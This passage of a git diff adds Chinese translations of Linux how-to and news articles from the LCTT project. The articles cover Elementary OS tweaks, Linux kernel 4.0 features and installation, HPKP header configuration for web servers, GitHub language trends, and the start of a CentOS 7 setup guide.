+ +![Desktop Wallpaper](http://blog.linoxide.com/wp-content/uploads/2015/04/Desktop-Wallpaper4.png) + +Elementary OS真正的美丽在于优雅的泊板。桌面上没有任何图标,泊板上的应用图标显示逼真,通过它可以快速访问常用应用。 + +![Desktop Dock](http://blog.linoxide.com/wp-content/uploads/2015/04/Desktop-Dock1.png) + +用户可以定制桌面的四个角的功能。 + +![Hot Corners](http://blog.linoxide.com/wp-content/uploads/2015/04/Hot-Corners.png) + +通过安装elementary tweaks工具来更深入的个性化定制。 + +可以使用如下命令,将稳定的个人软件包档案(PPA)添加到高级软件包管理工具(APT)仓库。 + + sudo add-apt-repository ppa:mpstark/elementary-tweaks-daily + +![ppa](http://blog.linoxide.com/wp-content/uploads/2015/04/elementary-tweaks-ppa.png) + +一旦软件包添加到仓库后,我们需要用以下命令更新仓库 + + sudo apt-get update + +![update repository](http://blog.linoxide.com/wp-content/uploads/2015/04/update-repository.png) + +更新仓库后,我们就可以安装elementary-tweaks,用以下命令完成 + + sudo apt-get install elementary-tweaks + +![install elementary tweaks](http://blog.linoxide.com/wp-content/uploads/2015/04/install-elementary-tweaks.png) + +我们可以在Application > System Settings下的个人区域的看到增加了一个Tweaks项目。它现在可以给我们提供更多的个性化定制选项。 + +![tweaks](http://blog.linoxide.com/wp-content/uploads/2015/04/tweaks.png) + +为了进一步定制,我们也安装了gnome桌面系统的tweak工具,演示解锁桌面。 + + sudo apt-get install gnome-tweak-tool + +![gnome](http://blog.linoxide.com/wp-content/uploads/2015/04/gnome.png) + +### 总结 ### + +Elementary OS十分接近Linux发行版Ubuntu,它的优缺点两方面也都十分相似。Elementary OS在外观和体验上都十分轻巧和优雅,并且正在快速地走向成熟。它有潜力成为Windows和OS X操作系统之外的第三选择。最新的Elementary OS 0.3(Freya)以其良好的功能基础而迅速流行。想了解更多信息,最近的更新和下载,请访问其官方[网站][1]。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/elementary-os-0-3-freya-install-guide/ + +作者:[Aun Raza][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ +[1]:http://sourceforge.net/projects/elementaryos/files/stable/elementaryos-freya-amd64.20150411.iso/download +[2]:http://sourceforge.net/projects/elementaryos/files/stable/elementaryos-freya-i386.20150411.iso/download +[3]:http://elementary.io/ diff --git a/published/201504/20150413 Linux Kernel 4.0 Features Live Kernel Patching PS3 Support.md b/published/201504/20150413 Linux Kernel 4.0 Features Live Kernel Patching PS3 Support.md new file mode 100644 index 0000000000..d62af19480 --- /dev/null +++ b/published/201504/20150413 Linux Kernel 4.0 Features Live Kernel Patching PS3 Support.md @@ -0,0 +1,75 @@ +Linux内核4.0功能:实时内核补丁,支持PS3 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/10/tuxtuxtux.jpeg) + +**Linux Torvalds 在Linux内核邮件列表里[发布][1]了Linux内核新的稳定版。** + +Linux 4.0,代号为‘Hurr durr I’m a sheep’,带来了一小系列新硬件支持,驱动改进,性能调整,错误修复等。 + +但是其实没有太多的更新的必要,Torvalds 写到: + +> 功能方面,4.0 并没有那么多特别的。虽然在内核补丁设施上做了很多工作,但事实上[...] 我们在其它版本中有更大的改变。所以这仅仅是一次“按部就班”的发布。 + +Linus 补充说Linux 4.1 可能是一个“大版本”。 + +### Linux内核4.0新功能 ### + +**无需重启安装内核更新** + +你肯定遇到过内核更新需要重启你的Linux系统而被打断工作,这并不是你一个人遇到的问题。这对于桌面操作系统来说是个小小的不便,对于服务器来说却是大问题。 + +![内核更新无需重启](http://www.omgubuntu.co.uk/wp-content/uploads/2012/10/update.jpg) + +*内核更新无需重启* + +实时给Linux内核安装/使用安全补丁而不需要重启,多年来一直是Linux爱好者希望实现的事情。 + +一些第三方项目,例如[Oracle 的 KSplice][2]和红帽的 Kpatch,已经为一些特定的发行版提供实时补丁的功能。 + +对于服务器,企业单位以及关键任务正常运行,实现实时内核补丁是一个相当大的问题。 + +好消息是Linux 4.0 使得重启系统以完成内核更新成为了过去。 + +如果不是完全不需要重启,也是基本不需要。 + +在最新的发行版中,实现了支持免重启安装补丁的最初基础,为有经验的系统管理员发挥 Linux 4.0的优势做好了准备。 + +桌面Linux发行版也应该能够利用这个功能的优势(但考虑到在最终用户端配置免重启功能会比较复杂而有一些路要走)。 + +在以后的4.x系列中,这个基础功能会持续完善和改进。我希望我们能更多听到它的一些信息。 + +#### 其它改进 #### + +尽管被认为是一次小版本的发布,最新的Linux内核还是带来了一系列的硬件改进,新的驱动以及性能调整。 +它们包括: + +- 针对Intel ‘Skylake’ 平台的改进 +- 支持Intel Quark SoC +- 改善Linux在Playstation 3上运行的系列补丁 +- TOpen-source AMD Radeon驱动支持DisplayPort音频 +- 各种HID驱动调整,包括Lenovo紧凑型键盘,Wacom Cintiq 27QHD +- 东芝电源设置驱动器增加了USB睡眠/充电功能,快速充电,睡眠/音乐等 +- 文件系统调整,包括F2FS, BtrfFS等 + +### 在Ubuntu上安装Linux内核4.0 ### + +尽管被归为稳定版本,但目前而言,**桌面用户和新用户没有必要去升级**。 + +如果从[Canonical的主线内核文档][3]抓取合适的安装包或者冒着第三方PPA库的风险在Ubuntu 15.04测试版安装Linux4.0,那么这种急躁或者不娴熟可能会带来问题。 + +Ubuntu 15.04 Vivid Vervet 将在本月晚些时候发布并会附带Ubuntu内核 3.19(Ubuntu的内核是由Linux内核以及一些上游发行版还没有接受的 Ubuntu 特定的补丁组成)。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/04/linux-kernel-4-0-new-features + +作者:[Joey-Elijah Sneddon][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://linux.cn/article-5259-1.html +[2]:http://www.omgubuntu.co.uk/2009/10/how-to-install-kernel-updates-without-rebooting +[3]:http://kernel.ubuntu.com/~kernel-ppa/mainline/?C=N;O=D diff --git a/published/201504/20150415 HTTP Public Key Pinning Extension HPKP for Apache, NGINX and Lighttpd.md b/published/201504/20150415 HTTP Public Key Pinning Extension HPKP for Apache, NGINX and Lighttpd.md new file mode 100644 index 0000000000..a8807a59be --- /dev/null +++ b/published/201504/20150415 HTTP Public Key Pinning Extension HPKP for Apache, NGINX and Lighttpd.md @@ -0,0 +1,161 @@ +在 Apache、NGINX 和 Lighttpd 上启用 HTTP 公钥固定扩展(HPKP) +================================================================================ + +公钥固定(Public Key Pinning)是指一个证书链中必须包含一个白名单中的公钥,也就是说只有被列入白名单的证书签发机构(CA)才能为某个域名`*.example.com`签发证书,而不是你的浏览器中所存储的任何 CA 都可以为之签发。本文讲述了这种机制的背景知识,并提供了 Apache、 Lighttpd 和 NGINX 上的配置范例。 + +### HTTP 公钥固定扩展 ### + +用你使用的银行做个例子,它一直使用 CA 公司 A 为其签发证书。但是在当前的证书体系下,CA 公司 B、CA 公司 C 和 NSA 的 CA 都能给你的银行创建证书,而你的浏览器会毫无疑虑的接受它们,因为这些公司都是你所信任的根 CA。 + +如果你的银行实现了 HPKP 并固定了它们的第一个中级证书(来自 CA 公司 A),那么浏览器将不会接受来自CA 公司 B 和 CA 公司 C 的证书,即便它们也有一个有效的信任链。HPKP 也允许你的浏览器将这种违例行为报告给该银行,以便银行知道被伪造证书攻击了。 + +HTTP 公钥固定扩展是一个从2011年开始开发的针对 HTTP 用户代理(即浏览器)的公钥固定标准。它由 Google 发起,甚至在 Chrome 中实现的固定机制可以使用一个人工维护的网站公钥固定列表,这个列表包含了固定的几个网站的公钥签名。(LCTT 译注:Chrome 和 FireFox 32 及以后版本都支持公钥固定机制,并使用内置的人工维护的公钥固定列表数据,这些数据随着浏览器软件的更新而更新,主要包括几个大型站点。目前还只有 Chrome 38+ 支持通过 HTTP 响应头传递公钥固定信息。) + +以下是 HPKP 的几个功能简述: + +- HPKP 是在 HTTP 层面设置的,使用 `Public-Key-Pins` (PKP)响应头。 +- 该规则的保留周期通过 max-age 参数设置,单位是秒。 +- PKP 响应头只能用于正确的安全加密通讯里面。 +- 如果出现了多个这样的响应头,则只处理第一个。 +- 固定机制可以使用`includeSubDomains`参数扩展到子域。 +- 当接收到一个新的 PKP 响应头时,它会覆盖之前存储的公钥固定和元数据。 +- 公钥固定是用哈希算法生成的,其实是一个“主题公钥信息(SKPI)”指纹。 + +本文首先会介绍一些 HPKP 工作的原理,接下来我们会展示给你如何得到需要的指纹并配置到 web 服务器中。 + +### SPKI 指纹 - 理论 ### + +以下摘自 Adam Langley 的[帖子][1],我们哈希的是一个公钥,而不是证书: + +> 通常来说,对证书进行哈希是一个显而易见的解决方案,但是其实这是错的。不能这样做的原因是 CA 证书可以不断重新签发:同一个公钥、主题名可以对应多个证书,而这些证书有不同的延展或失效时间。浏览器从下至上地在证书池中构建证书链时,另外一个版本的证书可能就替代匹配了你原本所期望的证书。 +> +> 举个例子,StartSSL 有两个根证书:一个是以 SHA1 签名的,另外是一个是 SHA256。如果你希望固定住 StartSSL 作为你的 CA,那么你该使用哪个证书呢?你也许可以使用这两个,但是如果我不告诉你,你怎么会知道还有一个根证书呢? +> +> 相反地,对公钥进行哈希则不会有这个问题: +> +> 浏览器假定子证书是固定不动的:它总是证书链的起点。子证书所携带的签名一定是一个有效的签名,它来自其父证书给这个证书专门签发的。这就是说,父证书的公钥相对于子证书来说是固定的。所以可推论公钥链是固定的。 +> +> 唯一的问题是你不能固定到一个交叉认证的根证书上。举个例子,GoDaddy 的根证书是 Valicert 签名的,这是为了让那些不能识别 GoDaddy 根证书的老客户可以信任其证书。然而,你不能固定到 Valicert 上,因为新的客户在证书链上发现了 GoDaddy 证书就会停止上溯(LCTT 译注:所以就找不到固定信息了)。 +> +> 此外,我们是对 SubjectPublicKeyInfo(SPKI)进行哈希而不是对公钥位串。SPKI 包括了公钥类型、公钥自身及其相关参数。这很重要,因为如果对公钥进行哈希就有可能导致发生曲解攻击。对于一个 Diffie-Hellman 公钥而言:如果仅对公钥进行哈希,而不是对完整的 SPKI,那么攻击者可以使用同样的公钥而让客户端将其解释为其它组。同样地,这样也有可能强制将一个 RSA 密钥当成 DSA 密钥解释等等。 + +### 固定在哪里 ### + +你应该固定在什么地方?固定你自己的公钥并不是一个最好的办法。你的密钥也许会改变或撤销。你也许会使用多个证书,经常轮换证书的话密钥就改变了。也许由于服务器被入侵而撤销证书。 + +最容易但是不是太安全的方法是固定第一个中级 CA 证书。该证书是签名在你的网站证书之上的,所以签发该证书的 CA 的公钥肯定是在证书链上的。 + +采用这种方法你可以从同一个 CA 更新你的证书而不用担心固定信息不对。如果该 CA 发行了一个不同的根证书,也许你会遇到一些问题,对此并没有太好的解决方案。不过你可以通过如下做法来减轻这种问题的影响: + +- 从一个不同的 CA 申请一个备用的证书,并固定该备份。 + +RFC 里面说你至少需要做两个固定。一个是当前连接所使用的证书链上的,另外一个是备份的。 + +另外的固定是对备份公钥的,它可以是来自另外一个给你签发证书的不同 CA 的 SKPI 指纹。 + +在这个问题上还有一种**更安全**的方法,就是事先创建好至少三个独立的公钥(使用 OpenSSL,参见[此页][2] 了解 Javascript OpenSSL 命令生成器),并将其中两个备份到一个安全的地方,离线存储、不要放到网上。 + +为这三个证书创建 SPKI 指纹并固定它们,然后仅使用第一个作为当前的证书。当需要时,你可以使用备份密钥之一。不过你需要让 CA 给你做签名来生成证书对,这可能需要几天,依你的 CA 的工作情况而定。 + +对于 HPKP 来说这没有问题,因为我们使用的是公钥的 SPKI 哈希,而不是证书。失效或不同的 CA 签名链并不影响。 + +如果你按照上述方法生成并安全存储了至少三个独立的密钥,并固定它们,也可以防止你的 CA 撤销你的网站证书并签发一个假证书时出现问题。 + +### SPKI 指纹 ### + +可以使用如下的 OpenSSL 命令来生成 SPKI 指纹,它出现在 [RFC 草案][3] 中: + + openssl x509 -noout -in certificate.pem -pubkey | \ + openssl asn1parse -noout -inform pem -out public.key; + openssl dgst -sha256 -binary public.key | openssl enc -base64 + +结果: + + klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY= + +上面输入的 `certificate.pem` 文件是本站(https://raymii.org)的证书链中第一个证书。(在写本文时, `COMODO RSA Domain Validation Secure Server CA, 序列号 2B:2E:6E:EA:D9:75:36:6C:14:8A:6E:DB:A3:7C:8C:07 。`)。 + +你也需要同样对你的另外两个备份公钥生成指纹。 + +### 故障 ### + +在写本文时(2015/1),唯一支持 HPKP 的浏览器(chrome)有一个严重的问题:Chrome 并不能够区分 HSTS 和 HPKP 响应头中的 max-age 和 includeSubdomains 参数。也就是说,如果你的 HSTS 和 HPKP 设置了不同的 max-age 和 includeSubdomains 参数,它们会互相搞乱。关于这个故障的更多信息参见:[https://code.google.com/p/chromium/issues/detail?id=444511][4]。感谢 Scott Helme([https://scotthelme.co.uk][5])发现并告诉我这个 Chromium 项目的问题。 + +### Web 服务器配置 ### + +下面你可以看到三个主流 Web 服务器的配置方法。这只是一个 HTTP 响应头,绝大多数 Web 服务器都可以设置它。它只需要设置到 HTTPS 网站上。 + +下面的例子固定到 `COMODO RSA Domain Validation Secure Server CA` 及备份的 `Comodo PositiveSSL` CA 上,30天失效期,包括所有的子域。 + + +#### Apache #### + +编辑你的 Apache 配置文件(如 `/etc/apache2/sites-enabled/website.conf 或 /etc/apache2/httpd.conf`),并添加下列行到你的 VirtualHost 中: + + # 如需要,载入 headers 模块。 + LoadModule headers_module modules/mod_headers.so + + Header set Public-Key-Pins "pin-sha256=\"klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\"; pin-sha256=\"633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\"; max-age=2592000; includeSubDomains" + +#### Lighttpd #### + +Lighttpd 更简单一些,将下列行添加到你的 Lighttpd 配置文件(如 `/etc/lighttpd/lighttpd.conf`): + + server.modules += ( "mod_setenv" ) + $HTTP["scheme"] == "https" { + setenv.add-response-header = ( "Public-Key-Pins" => "pin-sha256=\"klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\"; pin-sha256=\"633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\"; max-age=2592000; includeSubDomains") + } + +#### NGINX #### + +NGINX 的配置更简短。添加以下行到你的 HTTPS 配置的 server 块中: + + add_header Public-Key-Pins 'pin-sha256="klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY="; pin-sha256="633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q="; max-age=2592000; includeSubDomains'; + +### 报告功能 ### + +HPKP 报告功能允许浏览器报告任何违例给你。 + +如果你在响应头中添加了附加的 `report-uri="http://example.org/hpkp-report"` 参数,并用该 URI 处理接收到的数据的话,客户端会在发现违例时发送报告给你。这个报告是以 POST 方式发送到你指定的 report-uri 上,并以类似下面的 JSON 格式: + + { + "date-time": "2014-12-26T11:52:10Z", + "hostname": "www.example.org", + "port": 443, + "effective-expiration-date": "2014-12-31T12:59:59", + "include-subdomains": true, + "served-certificate-chain": [ + "-----BEGINCERTIFICATE-----\nMIIAuyg[...]tqU0CkVDNx\n-----ENDCERTIFICATE-----" + ], + "validated-certificate-chain": [ + "-----BEGINCERTIFICATE-----\nEBDCCygAwIBA[...]PX4WecNx\n-----ENDCERTIFICATE-----" + ], + "known-pins": [ + "pin-sha256=\"dUezRu9zOECb901Md727xWltNsj0e6qzGk\"", + "pin-sha256=\"E9CqVKB9+xZ9INDbd+2eRQozqbQ2yXLYc\"" + ] + } + +### 非强制,只报告 ### + +HPKP 也可以设置为非强制的,可以使用 `Public-Key-Pins-Report-Only` 来只发送违例报告给你。 + +这样可以让你在网站不可访问或 HPKP 配置不正确时不固定,之后你可以将这个响应头改为 `Public-Key-Pins` 来强制固定。 + + +-------------------------------------------------------------------------------- + +via: https://raymii.org/s/articles/HTTP_Public_Key_Pinning_Extension_HPKP.html + +作者:[Remy van Elst][a] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://raymii.org/ +[1]:http://www.imperialviolet.org/2011/05/04/pinning.html +[2]:https://raymii.org/s/software/OpenSSL_Command_Generator.html +[3]:https://tools.ietf.org/html/draft-ietf-websec-key-pinning-21#appendix-A +[4]:https://code.google.com/p/chromium/issues/detail?id=444511 +[5]:https://scotthelme.co.uk/ \ No newline at end of file diff --git a/published/201504/20150417 How to Install Linux Kernel 4.0 from Elrepo or Source on Ubuntu or CentOs.md b/published/201504/20150417 How to Install Linux Kernel 4.0 from Elrepo or Source on Ubuntu or CentOs.md new file mode 100644 index 0000000000..a725043f67 --- /dev/null +++ b/published/201504/20150417 How to Install Linux Kernel 4.0 from Elrepo or Source on Ubuntu or CentOs.md @@ -0,0 +1,150 @@ +如何在Ubuntu/CentOS上安装Linux内核4.0 +================================================================================ +大家好,今天我们学习一下如何从Elrepo或者源代码来安装最新的Linux内核4.0。代号为‘Hurr durr I'm a sheep’的Linux内核4.0是目前为止最新的主干内核。它是稳定版3.19.4之后发布的内核。4月12日是所有的开源运动爱好者的大日子,Linux Torvalds宣布了Linux内核4.0的发布,它现在就已经可用了。由于包括了一些很棒的功能,例如无重启补丁(实时补丁),新的升级驱动,最新的硬件支持以及很多有趣的功能都有新的版本,它原本被期望是一次重要版本。但是实际上内核4.0并不认为是期望中的重要版本,Linus 表示期望4.1会是一个更重要的版本。实时补丁功能已经集成到了SUSE企业版Linux操作系统上。你可以在[发布公告][1]上查看关于这次发布的更多详细内容。 + +> **警告**: 安装新的内核可能会导致你的系统不可用或不稳定。如果你仍然使用以下命令继续安装,请确保备份所有重要数据到外部硬盘。 + +### 在Ubuntu 15.04上安装Linux内核4.0 ### + +如果你正在使用Linux的发行版Ubuntu 15.04,你可以直接通过Ubuntu内核网站安装。在你的Ubuntu15.04上安装最新的Linux内核4.0,你需要在shell或终端中在root访问权限下运行以下命令。 + +#### 在 64位 Ubuntu 15.04 #### + + $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-image-4.0.0-040000-generic_4.0.0-040000.201504121935_amd64.deb + $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-headers-4.0.0-040000-generic_4.0.0-040000.201504121935_amd64.deb + + $ sudo dpkg -i linux-headers-4.0.0*.deb linux-image-4.0.0*.deb + +#### 在 32位 Ubuntu 15.04 #### + + $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-image-4.0.0-040000-generic_4.0.0-040000.201504121935_i386.deb + $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-headers-4.0.0-040000-generic_4.0.0-040000.201504121935_i386.deb + + $ sudo dpkg -i linux-headers-4.0.0*.deb linux-image-4.0.0*.deb + +### 在CentOS 7上安装Linux内核4.0 ### + +我们可以用两种简单的方式在CentOS 7上安装Linux内核4.0。 + +1. 从Elrepo软件仓库安装 +1. 从源代码编译安装 + +我们首先用ElRepo安装,这是最简单的方式: + +#### 使用 Elrepo 安装 #### + +**1. 下载和安装ELRepo** + +我们首先下载ELRepo的GPG密钥并安装relrepo-release安装包。因为我们用的是CentOS 7,我们使用以下命令安装elrepo-release-7.0-2.el7.elrepo.noarch.rpm。 + +注: 如果你启用了secure boot,请查看[这个网页获取更多信息][2]。 + + # rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org + # rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm + +![添加 Elrepo 源](http://blog.linoxide.com/wp-content/uploads/2015/04/adding-elrepo.png) + +**2. 升级Linux内核到4.0版本** + +现在,我们准备从ELRepo软件仓库安装最新的稳定版内核4.0。安装它我们需要在CentOS 7的shell或者终端中输入以下命令。 + + # yum --enablerepo=elrepo-kernel install kernel-ml + +![从ELRepo安装Linux内核4.0](http://blog.linoxide.com/wp-content/uploads/2015/04/installing-kernel-4-0-elrepo.png) + +上面的命令会自动安装为CentOS 7构建的Linux内核4.0。 + +现在,下面的是另一种方式,通过编译源代码安装最新的内核4.0。 + +#### 从源代码编译安装 #### + +**1. 安装依赖软件** + +首先我们需要为编译linux内核安装依赖的软件。要完成这些,我们需要在一个终端或者shell中运行以下命令。 + + # yum groupinstall "Development Tools" + + # yum install gcc ncurses ncurses-devel + +![安装内核依赖](http://blog.linoxide.com/wp-content/uploads/2015/04/installing-dependencies.png) + +然后,我们会升级我们的整个系统。 + + # yum update + +**2. 下载源代码** + +现在我们通过wget命令从Linux内核的官方仓库中下载最新发布的linux内核4.0的源代码。你也可以使用你的浏览器直接从[kernel.org][3]网站下载内核。 + + # cd /tmp/ + # wget https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.0.tar.xz + +![下载内核源码](http://blog.linoxide.com/wp-content/uploads/2015/04/download-kernel-source.png) + +**3. 解压tar压缩包** + +文件下载好后我们在/usr/src/文件夹下用以下命令解压。 + + # tar -xf linux-4.0.tar.xz -C /usr/src/ + # cd /usr/src/linux-4.0/ + +![解压内核tar压缩包](http://blog.linoxide.com/wp-content/uploads/2015/04/extracting-kernel-tarball.png) + +**4. 配置** + +配置Linux内核有两种选择的。我们可以创建一个新的自定义配置文件或者使用已有的配置文件来构建和安装Linux内核。这都取决于你自己的需要。 + +**配置新的内核** + +现在我们在shell或终端中运行make menuconfig命令来配置Linux内核。我们执行以下命令后会显示一个包含所有菜单的弹出窗口。在这里我们可以选择我们新的内核配置。如果你不熟悉这些菜单,那就敲击ESC键两次退出。 + + # make menuconfig + +![配置新内核](http://blog.linoxide.com/wp-content/uploads/2015/04/configuring-new-kernel-config.png) + +**已有的配置** + +如果你想用已有的配置文件配置你最新的内核,那就输入下面的命令。如果你对配置有任何调整,你可以选择Y或者N,或者仅仅是按Enter键继续。 + + # make oldconfig + +#### Step 5. 编译Linux内核 #### + +下一步,我们会执行make命令来编译内核4.0。取决于你的系统配置,编译至少需要20-30分钟。 + +注:如果编译内核的时候出现`bc command not found`的错误,你可以用**yum install bc**命令安装bc修复这个错误。 + + # make + +![Make 内核](http://blog.linoxide.com/wp-content/uploads/2015/04/make-kernel.png) + +#### 6. 安装Linux内核4.0 #### + +编译完成后,我们终于要在你的Linux系统上安装**内核**了。下面的命令会在/boot目录下创建文件并且在Grub 菜单中新建一个内核条目。 + + # make modules_install install + +#### 7. 验证内核 #### + +安装完最新的内核4.0后我们希望能验证它。做这些我们只需要在终端中输入以下命令。如果所有都进展顺利,我们会看到内核版本,例如4.0出现在输出列表中。 + + # uname -r + +#### 结论 #### + +好了,我们成功地在我们的CentOS 7操作系统上安装了最新的Linux内核版本4.0。通常并不需要升级linux内核,因为和之前版本运行良好的硬件可能并不适合新的版本。我们要确保它包括能使你的硬件正常工作的功能和配件。但大部分情况下,新的稳定版本内核能使你的硬件性能更好。因此,如果你有任何问题,评论,反馈,请在下面的评论框中注明,让我们知道需要增加或者删除什么问题。多谢!享受最新的稳定版Linux内核4.0吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/install-linux-kernel-4-0-elrepo-source/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://linux.cn/article-5259-1.html +[2]:http://elrepo.org/tiki/SecureBootKey +[3]:http://kernel.org/ \ No newline at end of file diff --git a/published/201504/20150423 The Most Popular Programming Languages in to GitHub Since 2012.md b/published/201504/20150423 The Most Popular Programming Languages in to GitHub Since 2012.md new file mode 100644 index 0000000000..b47b1c2ed5 --- /dev/null +++ b/published/201504/20150423 The Most Popular Programming Languages in to GitHub Since 2012.md @@ -0,0 +1,32 @@ +GitHub 上最流行的编程语言 +================================================================================ +![](http://www.loggly.com/wp-content/uploads/2015/04/Infographic_Github_popular_languages_Blogheader.png) + +编程语言不仅仅是开发者用来创建程序或表达算法的工具,它们也是对创造力进行编码和解码的仪器。通过观察编程语言的历史,我们在追求为解决问题找到一个更好的方法,促进协作,构建好的产品以及重用他人的工作上得到一个独特的观点。 + +我们有大约 70% 的客户向我们的服务发送应用日志,因此我们能追踪哪种语言是最流行的,以及哪种语言获得了开发人员的关注。 + +基于从2012年以来的历史的[GitHub 归档][1]和[GitHut][2]数据,我们分析了GitHub上大部分开发者的动作并绘制成你下面看到的信息图表。我们主要关注: + +- 活跃库的数量,这是反应了人们正在研究的项目的有用度量。 +- 每种语言总的推送数量以及每个库的平均推送次数。这些指标是由某种语言编写的项目的创新效率的指示器。 +- 每个库新的fork数和发现的问题数目,这也显示了活跃度和创新性。 +- 每个库新的观察者,这是开发人员兴趣的指示器。 + +### 查看信息图表并告诉我们你的想法!在你的同龄人中是怎么选择你使用的语言的? ### + +![](http://www.loggly.com/wp-content/uploads/2015/04/Most-Popular-Languages-According-to-GitHub-Since-2012-loggly-infographic_v3.png) + +-------------------------------------------------------------------------------- + +via: https://www.loggly.com/blog/the-most-popular-programming-languages-in-to-github-since-2012/ + +作者:[Justin Mares][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://www.loggly.com/blog/author/guest/ +[1]:https://www.githubarchive.org/ +[2]:http://githut.info/ \ No newline at end of file diff --git a/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--1.md b/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--1.md new file mode 100644 index 0000000000..45ccd2208a --- /dev/null +++ b/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--1.md @@ -0,0 +1,238 @@ +安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(一) +================================================================================ +CentOS 是一个工业标准的 Linux 发行版,是红帽企业版 Linux 的衍生版本。你安装完后马上就可以使用,但是为了更好地使用你的系统,你需要进行一些升级、安装新的软件包、配置特定服务和应用程序等操作。 + +这篇文章介绍了 “安装完 RHEL/CentOS 7 后需要做的 30 件事情”。阅读帖子的时候请先完成 RHEL/CentOS 最小化安装,这是首选的企业和生产环境。如果还没有,你可以按照下面的指南,它会告诉你两者的最小化安装方法。 + +- [最小化安装 CentOS 7][1] +- [最小化安装 RHEL 7][2] + +我们会基于工业标准的需求来介绍以下列出的这些重要工作。我们希望这些东西在你配置服务器的时候能有所帮助。 + +1. 注册并启用红帽订阅 +2. 使用静态 IP 地址配置网络 +3. 设置服务器的主机名称 +4. 更新或升级最小化安装的 CentOS +5. 安装命令行 Web 浏览器 +6. 安装 Apache HTTP 服务器 +7. 安装 PHP +8. 安装 MariaDB 数据库 +9. 安装并配置 SSH 服务器 +10. 安装 GCC (GNU 编译器集) +11. 安装 Java +12. 安装 Apache Tomcat +13. 安装 Nmap 检查开放端口 +14. 配置防火墙 +15. 安装 Wget +16. 安装 Telnet +17. 安装 Webmin +18. 启用第三方库 +19. 安装 7-zip 工具 +20. 安装 NTFS-3G 驱动 +21. 安装 Vsftpd FTP 服务器 +22. 安装和配置 sudo +23. 安装并启用 SELinux +24. 安装 Rootkit Hunter +25. 安装 Linux Malware Detect (LMD) +26. 用 Speedtest-cli 测试服务器带宽 +27. 配置 Cron 作业 +28. 安装 Owncloud +29. 启用 VirtualBox 虚拟化 +30. 用密码保护 GRUB + +### 1. 注册并启用红帽订阅 ### + +RHEL 7 最小化安装完成后,就应该注册并启用系统红帽订阅库, 并执行一个完整的系统更新。这只当你有一个可用的红帽订阅时才能有用。你要注册才能启用官方红帽系统库,并时不时进行操作系统更新。(LCTT 译注:订阅服务是收费的) + +在下面的指南中我们已经包括了一个如何注册并激活红帽订阅的详细说明。 + +- [在 RHEL 7 中注册并启用红帽订阅][3] + +**注意**: 这一步仅适用于有一个有效订阅的红帽企业版 Linux。如果你用的是 CentOS 服务器,请查看后面的章节。 + +### 2. 使用静态 IP 地址配置网络 ### + +你第一件要做的事情就是为你的 CentOS 服务器配置静态 IP 地址、路由以及 DNS。我们会使用 ip 命令代替 ifconfig 命令。当然,ifconfig 命令对于大部分 Linux 发行版来说还是可用的,还能从默认库安装。 + + # yum install net-tools [它提供 ifconfig 工具,如果你不习惯 ip 命令,还可以使用它] + +![在 Linux 上安装 ifconfig](http://www.tecmint.com/wp-content/uploads/2015/04/Install-ifconfig.jpeg) + +(LCTT 译注:关于 ip 命令的使用,请参照:http://www.linux.cn/article-3631-1.html ) + +但正如我之前说,我们会使用 ip 命令来配置静态 IP 地址。所以,确认你首先检查了当前的 IP 地址。 + + # ip addr show + +![在 CentOS 查看 IP 地址](http://www.tecmint.com/wp-content/uploads/2015/04/Check-IP-Address.jpeg) + +现在用你的编辑器打开并编辑文件 /etc/sysconfig/network-scripts/ifcfg-enp0s3 (LCTT 译注:你的网卡名称可能不同,如果希望修改为老式网卡名称,参考:http://www.linux.cn/article-4045-1.html )。这里,我使用 vi 编辑器,另外你要确保你是 root 用户才能保存更改。 + + # vi /etc/sysconfig/network-scripts/ifcfg-enp0s3 + +我们会编辑文件中的四个地方。注意下面的四个地方并保证不碰任何其它的东西。也保留双引号,在它们中间输入你的数据。 + + IPADDR = "[在这里输入你的静态 IP]" + GATEWAY = "[输入你的默认网关]" + 